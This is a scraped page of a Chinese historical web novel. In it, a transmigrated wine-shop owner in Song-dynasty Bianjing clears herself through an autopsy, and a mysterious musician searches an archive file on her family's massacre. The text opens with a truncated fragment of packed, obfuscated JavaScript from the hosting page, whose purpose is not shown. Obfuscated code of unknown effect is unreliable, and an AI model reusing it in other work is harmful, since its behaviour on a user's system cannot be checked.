RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许知非没应他,刀刃分离颈部肌理,手稳神定:“喉头气管充血,无异物全塞,非典型呛噎。” 老仵作与身后学徒对视一眼,又看了看许云洲,神情微有不安。 许知非解开尸首衣物,老仵作神色愈加紧张起来。 那学徒着急开了口:“身体发肤受之父母,岂容如此亵渎?此非凌迟重犯,尔等欲乱礼法耶?!” 许云洲抬眼看他,缓声道:“陛下常言,新政贵在务实,求真乃断狱之本,此案牵涉酒政新颁,正店初立,若糊判定谳,恐损朝廷威严,亦寒商贾之心。” 他目光转向许知非,眼中光华温柔如水:“刑部郎中李大人既已许其自辩,何妨彻查?若得真相,上不负圣心求实之意,下可安汴京商民之疑。” 那学徒面色变幻,转眼间又吃了老仵作一记眼刀。 “师父……这……” “谁让你说话了!”老仵作咬牙低斥道。 许知非叹了口气,这种人命关天的事,居然还有争执些繁文缛节的…… 她动手划开尸首肌体,神色平静,轻声道:“肺表弥漫淤点,切面溢沫若泉,水侵肺络,常见于……邪毒攻心或瘴厉损脉。” 她刻意说着典籍里的句式,尽量不露出破绽,又将银针探入喉部:“银针未黑,可排除酒中砒霜等常毒。” 她拿起另一把小刀…… “胃存未化残食,酒液,至少半盏。若毒在酒中,且烈至立毙,毒酒当将胃壁蚀烂至异色,然而……”她用刀指了一下,“仅见充血,无集中溃烂,而这里……” 她用刀尖点了一下幽门及小肠初段:“有毒物气味残留。” 老仵作走近细闻,满是皱纹的眉心越拧越紧:“这是……这是……” 许知非把小刀轻轻放下,面色不改,低声道:“古代医籍有载,蜀椒、杏仁、桃仁乃至某些岭南瘴木,过量皆可致毒,气味或类似苦杏。不论如何,这味道不是非酒所有,乃毒物残留之征。” 许云洲盯着她的脸,眼神微动,适时接话:“如此看来钱员外之死,非因饮酒,是其早在饮酒之前就服了某些与酒相激,或可借酒势加速之毒。” 老仵作点头:“毒入血脉,损及心肺,发为水侵肺络,致其饮酒之后不久窒息而亡,口鼻溢血,此非毒酒杀人,乃是以酒引毒,犹如火镰早备,酒如淋油,顷刻燎原。” “所以,毒源与我春风酒幡无关,证据确凿,还请大人据实禀告,莫让真凶逍遥法外。”许知非转身,拱手一拜,动作略显僵硬,但眼神尤其坚定,根本不像是第一次干这种事。 老仵作微有惊惧,忙拜道:“老夫自当如实上禀,只是不知坊主如何习得此等技法,着实让令老夫惊叹。” 许知非眼睫一颤,冷静道:“家传的手艺,小时候……常剖牲口。” 老仵作和身后学徒面面相觑,一时哑口无言,再看许云洲垂眸含笑之态,两人又相互确认了一下,当是默认。 许知非看过在场几人脸色,许云洲的身份她尤其怀疑起来,但至少好用…… 她在桌上水盆里洗了手,甩干了水:“我可以回去了吗?” “自然可以,狱卒就在外面。”许云洲温声答道。 “我再问你一次,你究竟是什么人?”许知非走到他面前,抬起头来,看着他的眼睛。 许云洲似对她言行见怪不怪,眼中笑意更深,俯身凑近她的脸:“你究竟是什么人?”他把“你”字说的很重。 两人鼻尖几乎碰上,许知非往后退了一点,强作镇定也要镇定。 “好,那就这么着吧,你不说,我不问,挺好玩的。” 她拍拍衣裳边角,转身去开门。 许云洲答道:“活着就有意思。” …… 三月十七 许知非还没睡醒,就有狱卒来找她。 “许坊主!许坊主醒醒!” 她朦朦胧胧坐起来,手边碰到一点黏糊糊的脏东西,不知道是什么,一阵恶心,在铁栏上擦了擦。 “什么事啊,这么早?” 早起就倒霉,她想着大概率不是什么好事。 “许坊主,您可以回去了。”那狱卒态度端正,把铁门打开。 许知非擦干净手,眼里还带着酸涩,扶着铁栏站起来:“我直接从这里回去?” “是,孙大人吩咐了,案情已查清,如今搜捕的范围已定在了一家老旧药铺里,您可以回去了。” 许知非忧心不减,点了头,慢慢往外走。 雷捕头亲手撕掉了春风酒幡大门上的封条,许知非回来时,已有客人坐在堂里喝酒,都是老客,见她回来都打招呼,分毫不提晦气的事,只夸她气色不错,新酒好喝。 许云洲坐在角落里,指尖流出琴音,幽静婉转,门外不断有人三三两两寻音而来,赵伯一一接待,领了座,交给青禾安排酒水。 “小坊主,小坊主你可算回来了。”他迎上许知非,在她身上各处都看了看,又绕着她走了一圈,“可有伤着啊?啊?快让小老儿看看。” “我没事,就是身上臭。”许知非微微笑道,自己闻了一下脏兮兮的衣袖。 青禾把酒端到新客面前,高声道:“坊主,那弹琴的说你今早就能回来,你屋里热水已备着了,火烘着,就是等你回来洗洗,去了这晦气!” “知道了,多谢。”许知非大声回他,往二楼去。 许云洲琴音清幽,堂间静下去后,又似入了另一番幽境。 酒客交谈声皆温和低沉,欢笑声也恰到好处,一杯一盏在琴声里皆是点到为止。 许云洲一曲弹罢,目光扫过酒坊各处,看见二楼房门正好关上,传来轻轻一声响动。 许知非脱下身上脏衣,绕过外间素屏,爬进青禾说的……早就备好的浴桶里。 热水包裹而来,晦气似乎真的在散出去。 她闭眼呼吸,整个人松下去,想起许云洲如有神通的手段,他对这些事好像没有任何疑问,连刑部都给他三分面子……而她,眼前处处都是疑问。 “这人肯定有问题……说不定搞事情的就是他。” 原身记忆零碎,如果她是猝死穿越,那原身呢?她去了哪里? 她睁开眼,低头看见水里模糊不清的倒影,那张脸,跟她长得一模一样。 5. 悬崖 她拨了一下水面,看着那道虚影散开,她要是死掉,会不会原身就能出现?或者说……记忆! 她整个人滑进水里,热水瞬间裹紧了她的脸,水声灌进耳朵里。 她发现自己的身体好像渐渐变轻了些,慢慢的……人在水里的失重感变得越来越明显,她紧紧闭着眼,感觉到自己好像在坠落,她看到了画面,是悬崖……很黑……有人在悬崖上面…… 是她的记忆…… 那个人在看着她掉下去,她想看清那个人的脸,口鼻有气泡溢出来,她用力屏紧了呼吸,听见自己的心跳声,究竟是谁? 濒死的感觉令一部分记忆开始完整,她在调查自己的身世,房间里的地图是她为自己标记的逃生路线,庆历七年……军器监……她看不明白什么意思。 记忆里有一封信件,在她就要看清楚时,心跳猛地加速,下坠感变得更加剧烈,眼前又成了漆黑的悬崖,她掉了下去,悬崖上有个人影,很黑,她越窒息,那张脸就越清晰。 在她快要看清时,一只手像铁钳一样抓住了她的手臂,不由分说地将她一把提起来。 “哗啦”一声,冰凉的空气扑在她身上,汹涌着灌进她的呼吸里。 有人把她从水里生生拔了起来,她一只手抓住了桶沿,试图睁开眼,睫毛上的水落进眼睛里,她不得不又再闭上。 她用手拨开脸上的头发,抹掉了睫毛上的水,睁眼看见水浪撞出了桶沿,泼在一身青灰色的长袍上。 许云洲的脸出现在她眼前,两人四目相对。 他半倾着身子,一只手牢牢抓着她,胸前往下衣袍尽湿,长发半束,垂落的发丝应是在水里拖了一圈,如今贴在身上滴着水。 他眼中满是惊悸,在她睁眼时睫毛一颤,像是愣住了。 空气似乎凝固了一瞬,许知非大叫:“啊!!!!!!!” 许云洲像烫到一样松了手,背过身去,脊背看得出僵硬,一侧衣袖从水里带出来,又拖了一地的水。 许知非转身背向他,人缩到离他最远的位置,房中水声摇晃,能听见两个人同样紊乱的呼吸声。 “我刚刚敲了门,你没应……” “我没应你就能进来吗?” “我是以为……而且……刚刚你……” “出去!” 许知非声音发颤,无论如何解释都说不通,就怕这人不是什么好东西,敲门不应就偷偷溜进来,搞不好就是图谋不轨,盯上原身多时了。 许云洲没再说什么,离开时脚步略显仓促,走出内室,轻轻带上了房门。 许知非听见门响才慢慢转过身来,挪到屏风旁边,伸手取了自己的衣裳。 她动作小心翼翼,警惕着每一丝可能的声响。 但直到穿好衣服,也没再听见外面有什么动静,她擦着头发走出去,房间里没有人,只有一地水迹,一直延伸到房门外面。 许云洲背靠着门,扶额闭眼,静静调整着呼吸,高大的影子印在门上。 许知非把擦头发的棉布扔在桌上,套上一身男装,把湿发挽成男人的样式束起来,走过去,站在门前,看着那个影子。 “你找我什么事?” 她等了一会儿,看见那个影子动了一下,好像转了个身,却没有回答……奇奇怪怪的…… 楼下还有客人,如果打开门,赵伯和青禾都能听见她喊…… 她拉开门,有意识地背靠一侧门板,这样他就没办法轻易关上。 许云洲头发还滴着水,胸前衣料湿透了贴在身上,有些狼狈,却像在检查什么物件一样,目光在她声上游走:“你……没事?” 许知非警惕着,背后紧紧压着门板:“我没事,你有什么事?” 他看起来像是很担心,心有余悸的模样,难道真的只是意外?他不是故意闯进来的? 他不回答,只看着她,呼吸很重,许知非渐渐有些发毛:“喂……” 他眼神渐渐没了焦点,好像开始发呆,她抬起手在他眼前晃了晃:“喂……你干嘛?” 许云洲眼一眨,转开脸去:“没事,怕你遭人暗算,我这生意做不了,赔光本钱,所以上来看看你,刚刚……纯属意外……抱歉。” “什么人会暗算我?”许知非眼中寒光略过,眯了一下眼,紧盯着他的脸。 “不想让你知道真相的人。”许云洲转过脸来,直视她的眼睛,眸中一片冷漠。 “真相?我想知道什么真相?” 许云洲微微笑起来,又是一副温润公子的神态:“许坊主以为自己做的事情没人知道吗?我会傻到做赔本的买卖?” “那你说说,我做了什么?我现在自己都不知道了。”她说的是实话,神色自然坦荡。 许云洲俯身靠近她:“许坊主,有些事,不能太急,老老实实做生意,方为正道。” “我什么时候急了?” “验尸的时候。” 许知非脸色一僵,那种手段,若不是许云洲压下去了,今天怕是刑部要来拿她,还哪里能回到这里来…… 许云洲轻笑一声,转身往西厢走去,那里几天前就已是他的住处。 楼下酒客渐渐多起来,许知非靠近栏杆往下张望,有人跟她打招呼:“许坊主!听说你帮孙大人破了大案,真是真人不露相啊!” 许知非尴尬笑笑,究竟案子如何了她其实并不清楚,只能回道:“诸位喝好,承蒙关照。” 那酒客朝她举杯,仰头痛饮。 可听这话,他们像是知道她验尸的事?她看向许云洲走远的身影,眉头拧了起来,该怎么下手呢…… 她回到房间里,关上门,熙攘声轻了不止一点,仅存的一丝疲惫在精神松懈之后往身体各处扩散开,她走进花罩里,背靠敞开的窗户晒太阳,把没干的头发散下来。 “她究竟做了什么?许云洲又是怎么知道的?她的记忆里明明没有他。” 她闭上眼睛,想着这具身体的主人:“你在哪里?” 灵魂夺舍和鬼神之说在她的认知里不合逻辑。 微观粒子?量子世界里,粒子可以同时处于多种可能的状态,直到被“观察”到的那一刻,它的状态才会成为确定的一种。 著名的“薛定谔的猫”,在打开盒子前,既是死的又是活的。 那这个世界,这个时间点,这个叫“许知非”的人,在某个不可言说的瞬间之前,是不是也存在着很多可能? 一种是,那个原来的许知非,这个世界的许知非,在某一天悄无声息的死了,而她刚好来到了这里,她本就是另一个平行时空的她自己,因此,对应了某些同频的理由,她的意识自动占用了她的身体。 而另一种……可能是……来自另一个时空的她,她的意识,她的观察,在某种无法理解的扰动或者巧合下,投射到了这个濒临消亡的身体上。 于是,“观察”发生了。 当她的感知照亮了这个节点,这个名为许知非的存在的死亡可能性被排除,而来自现代的她在这里苏醒并存活的可能性成为了现实。 还有许云洲刚刚的眼神……他到底在确认什么?那种惊悸难消的神情根本就不像是对一个刚认识不久的人会有的情感。 “我是不是……占了她的身子,而他……知道?以为我图谋不轨?!……天大的冤枉啊!” 她握紧了拳头,这种事,真是跳进黄河也洗不清。 凶手……对了,如果找到凶手,是不是她的嫌疑就洗清了? 她用力去想那个几乎要看清的人影,那个人就在悬崖边上,站得笔直,好像在看着她掉下去。 “我会在这里醒来,会不会是受了什么外力的作用?” 她心里浮起许许多多的念头,本来细微的疲惫感越来越重,披在背后的头发不知不觉已干透,她侧过身去,靠在窗上,长发从肩上垂落下来。 不久,有人走进屋里,把她抱起来,放在床上,又去关了窗户。 …… 夜色沉落,汴京坠入梦河,不会持续太久 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房中堆满了破旧桌椅,还有些残破的灯笼不知为什么不扔,全都存在这里。 高处小窗漏下几缕月色,照亮了漂浮在房中的微尘。 许云洲几步就到了门边,外面庭院里两个亲从官披甲持枪,正按固定的路线从廊下走过。 他默数了他们的脚步,在他们转身的一瞬掠出门外,借着柱影滑进对面拐角阴影中,两个亲从官回头,看见树影晃了一下,落下一只黑猫来。 他紧盯着房檐上几处暗哨的位置,接着月影云翳,躲过了他们的视线,最后在一处高窗下停住,伏低在柱影中。 他抽刀插入窗缝,轻轻一挑,闩木无声滑开,他翻身而入,关上窗,身后是一排排高大的木架,直抵房梁。 几盏长明灯幽幽燃动,他径直走向最角落的一个架柜,足尖轻轻点在架子上,借力跃上了高层,手指轻轻一勾,一卷蒙尘的卷宗落在他手里,他飘然旋身,稳稳落地。 卷宗上标注:“庆历七年戊子卷·乙字叁佰壹拾叁号,汴京军器监失火及许家灭门案。” 他拆开卷宗套布,借着远处灯火快速查阅:“军器监主簿许文谦宅遭贼寇侵杀,邻舍皆闻叫喊声,勘验尸首共计一十七具,皆为许氏家眷、仆役,许文谦死于书房内……” 他将那份开封府的初报抽走,叠在最下方,又看见一份当时的皇城司密保,字迹全然不同,措辞强硬:“许文谦近半载行迹可疑,多次密会不明身份者,经查,军器监失火乃是其烧毁图纸杂物所致,火场残骸验出非制式火器零件及疑似辽文残片……虽无确证通敌,但事出蹊跷,其死因恐为辽人灭口,涉嫌军机泄漏之罪。” 再往后几张,是层层上报、议处、结案的公文往复,言辞逐渐从“疑点颇多”转向“作风不正,遭人劫掠,属意外身故,然其管理不善,造成军机损失和重大伤亡,有亏职守”,最终案子落在“追夺刘文谦生前官职,家产充公,以儆效尤”的结论上。 他反复的看,神情逐渐焦灼,似极力想要找到什么,动作间,指尖触到卷宗最后本该缝合的地方,有些浆糊沾粘的痕迹。 他手一停,翻转来看,抽出一把小刀,仔细划开了粘合的地方。 夹层里滑出了几张纸,质地较前面的新,墨色也新,是不久前放进去的…… 第一张字迹仓促,写道:“经核查,许府清验第三日,在后院角门石景一侧发现血迹和孩童挣扎痕迹及脚印,循迹至西侧一处狗洞,有破碎衣料,色泽纹样与许家幼女相符,然庆历七年开封府衙吏私心,有意瞒报,遂无人追查。” 第二张,字迹潦草:“……据当时城门守吏证实,灭门案次日确有病童出城,裹着厚布巾,辩不清面目。” 最后一页纸质最好,墨色深重有力,是他自己写的,只有一句:“许氏余孽,毋令妄动,静观其变。”